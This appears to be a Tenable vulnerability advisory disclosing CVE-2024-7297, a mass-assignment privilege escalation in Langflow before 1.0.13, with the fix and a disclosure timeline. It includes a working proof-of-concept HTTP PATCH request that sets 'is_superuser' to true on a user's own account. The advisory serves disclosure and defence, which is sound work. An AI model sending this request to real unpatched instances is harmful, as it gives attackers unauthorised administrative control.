Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Langflow Privilege Escalation through Mass Assignment

High

Synopsis

Langflow versions before v1.0.13 suffer from a Privilege Escalation vulnerability through Mass Assignment. By crafting a specific HTTP request to the users API endpoint, a remote and authenticated attacker with low privileges can obtain super admin privileges on the target Langflow instance.

Proof Of Concept:

In order to reproduce the issue, an attacker authenticated with low privileges on the application can send the following HTTP request: 

PATCH /api/v1/users/[USER_ID] HTTP/1.1
Host: localhost
Authorization: Bearer [TOKEN]
Content-Length: 21

{
  "is_superuser":true
}

The user can then verify that his privileges has been updated by accessing https://localhost/api/v1/users/whoami.

Solution

Upgrade to Langflow 1.0.13 or later.

Disclosure Timeline

20 June 2024 - Vulnerability discovered. Tenable send security contact request to vendor.
27 June 2024 - Tenable second attempt to notify vendor.
23 July 2024 - Tenable third attempt to notify vendor. Disclosure date set to the 4th August.
25 July 2024 - Vendor acknowledges and forward issue to the responsible team who asks for details.
26 July 2024 - Tenable provides vulnerability details.
27 July 2024 - Vendor confirms that issue is fixed in version 1.0.13.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2024-7297
Tenable Advisory ID: TRA-2024-26
Credit:
Joshua Martinelle
CVSSv3 Base / Temporal Score:
8.8 / 8.2
CVSSv3 Vector:
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Langflow < 1.0.13
Risk Factor:
High

Advisory Timeline

July 30, 2024 - Initial release